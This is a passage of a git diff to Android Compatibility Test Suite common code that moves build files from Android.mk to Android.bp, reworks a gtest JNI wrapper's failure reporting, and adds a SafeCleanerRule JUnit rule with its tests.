-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
-LOCAL_MODULE := nativetesthelper
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/nativetesthelper/jni/Android.bp b/common/device-side/nativetesthelper/jni/Android.bp
new file mode 100644
index 0000000..871207e
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_library_static {
+    name: "libnativetesthelper_jni",
+
+    srcs: ["gtest_wrapper.cpp"],
+
+    shared_libs: ["libnativehelper_compat_libc++"],
+    whole_static_libs: ["libgtest_ndk_c++"],
+    export_include_dirs: ["include"],
+    sdk_version: "current",
+    stl: "c++_static",
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
diff --git a/common/device-side/nativetesthelper/jni/Android.mk b/common/device-side/nativetesthelper/jni/Android.mk
deleted file mode 100644
index f970e8c..0000000
--- a/common/device-side/nativetesthelper/jni/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libnativetesthelper_jni
-
-LOCAL_SRC_FILES := \
-        gtest_wrapper.cpp
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++
-LOCAL_WHOLE_STATIC_LIBRARIES := libgtest_ndk_c++
-LOCAL_EXPORT_STATIC_LIBRARY_HEADERS := libgtest_ndk_c++
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_MULTILIB := both
-
-include $(BUILD_STATIC_LIBRARY)
diff --git a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
index eda919c..a8b6b3e 100644
--- a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
+++ b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
@@ -20,8 +20,17 @@
 
 #include <jni.h>
 #include <nativehelper/ScopedLocalRef.h>
+#include <nativetesthelper_jni/utils.h>
 #include <gtest/gtest.h>
 
+static JavaVM* gVm = nullptr;
+JavaVM* GetJavaVM() {
+    return gVm;
+}
+static void RegisterJavaVm(JNIEnv* env) {
+    (void)env->GetJavaVM(&gVm);
+}
+
 namespace {
 
 struct {
@@ -111,21 +120,27 @@
 
     virtual void OnTestPartResult(const testing::TestPartResult &testPartResult) override {
         if (!testPartResult.passed()) {
-            std::ostringstream messageStream;
-            messageStream << testPartResult.file_name() << ":" << testPartResult.line_number()
-                          << "\n" << testPartResult.message();
-            ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(messageStream.str().c_str()));
+            mCurrentTestError << "\n" << testPartResult.file_name() << ":" << testPartResult.line_number()
+                          << "\n" << testPartResult.message() << "\n";
+        }
+    }
+
+    virtual void OnTestEnd(const testing::TestInfo&) override {
+        const std::string error = mCurrentTestError.str();
+
+        if (!error.empty()) {
+            ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(error.c_str()));
             ScopedLocalRef<jobject> jthrowable(mEnv, mEnv->NewObject(gAssertionFailure.clazz,
                     gAssertionFailure.ctor, jmessage.get()));
             ScopedLocalRef<jobject> jfailure(mEnv, mEnv->NewObject(gFailure.clazz,
                     gFailure.ctor, mCurrentTestDescription.get(), jthrowable.get()));
             mEnv->CallVoidMethod(mRunNotifier, gRunNotifier.fireTestFailure, jfailure.get());
         }
-    }
 
-    virtual void OnTestEnd(const testing::TestInfo&) override {
         notify(gRunNotifier.fireTestFinished);
         mCurrentTestDescription.reset();
+        mCurrentTestError.str("");
+        mCurrentTestError.clear();
     }
 
     void reportDisabledTests(const std::vector<std::string>& mangledNames) {
@@ -145,6 +160,7 @@
     jobject mRunNotifier;
     jstring mClassName;
     ScopedLocalRef<jobject> mCurrentTestDescription;
+    std::ostringstream mCurrentTestError;
 };
 
 }  // namespace
@@ -152,6 +168,8 @@
 extern "C"
 JNIEXPORT void JNICALL
 Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jstring className, jobject suite) {
+    RegisterJavaVm(env);
+
     // Initialize gtest, removing the default result printer
     int argc = 1;
     const char* argv[] = { "gtest_wrapper" };
diff --git a/common/device-side/nativetesthelper/jni/include/nativetesthelper_jni/utils.h b/common/device-side/nativetesthelper/jni/include/nativetesthelper_jni/utils.h
new file mode 100644
index 0000000..604d4ba5
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/include/nativetesthelper_jni/utils.h
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <jni.h>
+
+// This is used by setting up @TargetLibrary in an APK test which opens up and executes the gtest
+// containing this library.
+
+/**
+ * The JVM associated with this test run or nullptr if not available.
+ */
+JavaVM* GetJavaVM();
+
diff --git a/common/device-side/preconditions/Android.bp b/common/device-side/preconditions/Android.bp
new file mode 100644
index 0000000..64f0ab0
--- /dev/null
+++ b/common/device-side/preconditions/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "compatibility-device-preconditions",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: ["compatibility-common-util-devicesidelib"],
+
+    sdk_version: "current",
+}
diff --git a/common/device-side/preconditions/Android.mk b/common/device-side/preconditions/Android.mk
deleted file mode 100644
index 75c981b..0000000
--- a/common/device-side/preconditions/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-preconditions
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
new file mode 100644
index 0000000..a4e39e9
--- /dev/null
+++ b/common/device-side/test-app/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build an APK which contains the device-side libraries and their tests,
+// this then gets instrumented in order to test the aforementioned libraries.
+
+android_test {
+    name: "CompatibilityTestApp",
+
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+
+    static_libs: [
+        "android-support-test",
+        "compatibility-common-util-devicesidelib",
+        "compatibility-device-info-tests",
+        "compatibility-device-info",
+        "compatibility-device-util-tests",
+        "compatibility-device-util",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/test-app/Android.mk b/common/device-side/test-app/Android.mk
deleted file mode 100755
index 6adce97..0000000
--- a/common/device-side/test-app/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build an APK which contains the device-side libraries and their tests,
-# this then gets instrumented in order to test the aforementioned libraries.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test\
-    compatibility-common-util-devicesidelib\
-    compatibility-device-info-tests\
-    compatibility-device-info\
-    compatibility-device-util-tests\
-    compatibility-device-util
-
-LOCAL_PACKAGE_NAME := CompatibilityTestApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/common/device-side/util/Android.bp b/common/device-side/util/Android.bp
new file mode 100644
index 0000000..2000cb8
--- /dev/null
+++ b/common/device-side/util/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "compatibility-device-util",
+    sdk_version: "test_current",
+
+    srcs: [
+       "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+
+    static_libs: [
+        "compatibility-common-util-devicesidelib",
+        "android-support-test",
+        "ub-uiautomator",
+        "mockito-target-minus-junit4",
+        "androidx.annotation_annotation",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/common/device-side/util/Android.mk b/common/device-side/util/Android.mk
deleted file mode 100644
index 931a493..0000000
--- a/common/device-side/util/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-common-util-devicesidelib \
-    android-support-test \
-    ub-uiautomator \
-    mockito-target-minus-junit4 \
-    androidx.annotation_annotation
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    android.test.base.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-util
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/util/jni/android_cts_CpuFeatures.cpp b/common/device-side/util/jni/android_cts_CpuFeatures.cpp
index 7843343..32a5903 100644
--- a/common/device-side/util/jni/android_cts_CpuFeatures.cpp
+++ b/common/device-side/util/jni/android_cts_CpuFeatures.cpp
@@ -25,12 +25,6 @@
     return cpuFamily == ANDROID_CPU_FAMILY_ARM;
 }
 
-jboolean android_cts_CpuFeatures_isArm7Compatible(JNIEnv* env, jobject thiz)
-{
-    uint64_t cpuFeatures = android_getCpuFeatures();
-    return (cpuFeatures & ANDROID_CPU_ARM_FEATURE_ARMv7) == ANDROID_CPU_ARM_FEATURE_ARMv7;
-}
-
 jboolean android_cts_CpuFeatures_isMipsCpu(JNIEnv* env, jobject thiz)
 {
     AndroidCpuFamily cpuFamily = android_getCpuFamily();
@@ -69,8 +63,6 @@
 static JNINativeMethod gMethods[] = {
     {  "isArmCpu", "()Z",
             (void *) android_cts_CpuFeatures_isArmCpu  },
-    {  "isArm7Compatible", "()Z",
-            (void *) android_cts_CpuFeatures_isArm7Compatible  },
     {  "isMipsCpu", "()Z",
             (void *) android_cts_CpuFeatures_isMipsCpu  },
     {  "isX86Cpu", "()Z",
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
index 6cf1414..9360942 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -46,8 +46,6 @@
 
     public static native boolean isArmCpu();
 
-    public static native boolean isArm7Compatible();
-
     public static native boolean isMipsCpu();
 
     public static native boolean isX86Cpu();
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
new file mode 100644
index 0000000..055a6a1
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import androidx.annotation.NonNull;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+/**
+ * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
+ * the cleanup code don't hide exception thrown by the test body
+ */
+// TODO: move to common CTS code
+public final class SafeCleanerRule implements TestRule {
+
+    private static final String TAG = "SafeCleanerRule";
+
+    private final List<Runnable> mCleaners = new ArrayList<>();
+    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
+    private final List<Throwable> mThrowables = new ArrayList<>();
+    private Dumper mDumper;
+
+    /**
+     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
+     */
+    public SafeCleanerRule run(@NonNull Runnable cleaner) {
+        mCleaners.add(cleaner);
+        return this;
+    }
+
+    /**
+     * Adds exceptions directly.
+     *
+     * <p>Typically used when exceptions were caught asychronously during the test execution.
+     */
+    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
+        mExtraThrowables.add(exceptions);
+        return this;
+    }
+
+    /**
+     * Sets a {@link Dumper} used to log errors.
+     */
+    public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
+        mDumper = dumper;
+        return this;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                // First run the test
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    Log.w(TAG, "Adding exception from main test");
+                    mThrowables.add(t);
+                }
+
+                // Then the cleanup runners
+                for (Runnable runner : mCleaners) {
+                    try {
+                        runner.run();
+                    } catch (Throwable t) {
+                        Log.w(TAG, "Adding exception from cleaner");
+                        mThrowables.add(t);
+                    }
+                }
+
+                // And finally add the extra exceptions
+                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
+                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
+                    if (extraThrowables != null) {
+                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
+                        mThrowables.addAll(extraThrowables);
+                    }
+                }
+
+                // Finally, throw up!
+                if (mThrowables.isEmpty()) return;
+
+                final int numberExceptions = mThrowables.size();
+                if (numberExceptions == 1) {
+                    fail(description, mThrowables.get(0));
+                }
+                fail(description, new MultipleExceptions(mThrowables));
+            }
+
+        };
+    }
+
+    private void fail(Description description, Throwable t) throws Throwable {
+        if (mDumper != null) {
+            mDumper.dump(description.getDisplayName(), t);
+        }
+        throw t;
+    }
+
+    private static String toMesssage(List<Throwable> throwables) {
+        String msg = "D'OH!";
+        try {
+            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+                sw.write("Caught " + throwables.size() + " exceptions\n");
+                for (int i = 0; i < throwables.size(); i++) {
+                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+                    final Throwable exception = throwables.get(i);
+                    exception.printStackTrace(pw);
+                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+                }
+                msg = sw.toString();
+            }
+        } catch (IOException e) {
+            // ignore close() errors - should not happen...
+            Log.e(TAG, "Exception closing StringWriter: " + e);
+        }
+        return msg;
+    }
+
+    // VisibleForTesting
+    static class MultipleExceptions extends AssertionError {
+        private final List<Throwable> mThrowables;
+
+        private MultipleExceptions(List<Throwable> throwables) {
+            super(toMesssage(throwables));
+
+            this.mThrowables = throwables;
+        }
+
+        List<Throwable> getThrowables() {
+            return mThrowables;
+        }
+    }
+
+    /**
+     * Optional interface used to dump an error.
+     */
+    public interface Dumper {
+
+        /**
+         * Dumps an error.
+         */
+        void dump(@NonNull String testName, @NonNull Throwable t);
+    }
+}
diff --git a/common/device-side/util/tests/Android.bp b/common/device-side/util/tests/Android.bp
new file mode 100644
index 0000000..2abba37
--- /dev/null
+++ b/common/device-side/util/tests/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "compatibility-device-util-tests",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-util",
+        "junit",
+        "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
+        "truth-prebuilt"
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/util/tests/Android.mk b/common/device-side/util/tests/Android.mk
deleted file mode 100644
index a073b9a..0000000
--- a/common/device-side/util/tests/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util junit
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-util-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
new file mode 100644
index 0000000..798e016
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
@@ -0,0 +1,254 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
+
+import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+@RunWith(MockitoJUnitRunner.class)
+public class SafeCleanerRuleTest {
+
+    private static class FailureStatement extends Statement {
+        private final Throwable mThrowable;
+
+        FailureStatement(Throwable t) {
+            mThrowable = t;
+        }
+
+        @Override
+        public void evaluate() throws Throwable {
+            throw mThrowable;
+        }
+    }
+
+    private final Description mDescription = Description.createSuiteDescription("Whatever");
+    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
+
+    @Mock private Dumper mDumper;
+
+    // Use mocks for objects that don't throw any exception.
+    @Mock private Runnable mGoodGuyRunner1;
+    @Mock private Runnable mGoodGuyRunner2;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
+    @Mock private Statement mGoodGuyStatement;
+
+    @Test
+    public void testEmptyRule_testPass() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        rule.apply(mGoodGuyStatement, mDescription).evaluate();
+    }
+
+    @Test
+    public void testEmptyRule_testFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+    }
+
+    @Test
+    public void testEmptyRule_testFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testOnlyTestFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testOnlyTestFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .run(() -> { throw mRuntimeException; })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .run(() -> {
+                    throw mRuntimeException;
+                })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(() -> {
+                    return ImmutableList.of(mRuntimeException);
+                })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(() -> { return ImmutableList.of(mRuntimeException); })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> {
+                    return ImmutableList.of(extra1, extra2);
+                })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> {
+                    return ImmutableList.of(extra3);
+                })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> {
+                    throw error2;
+                });
+
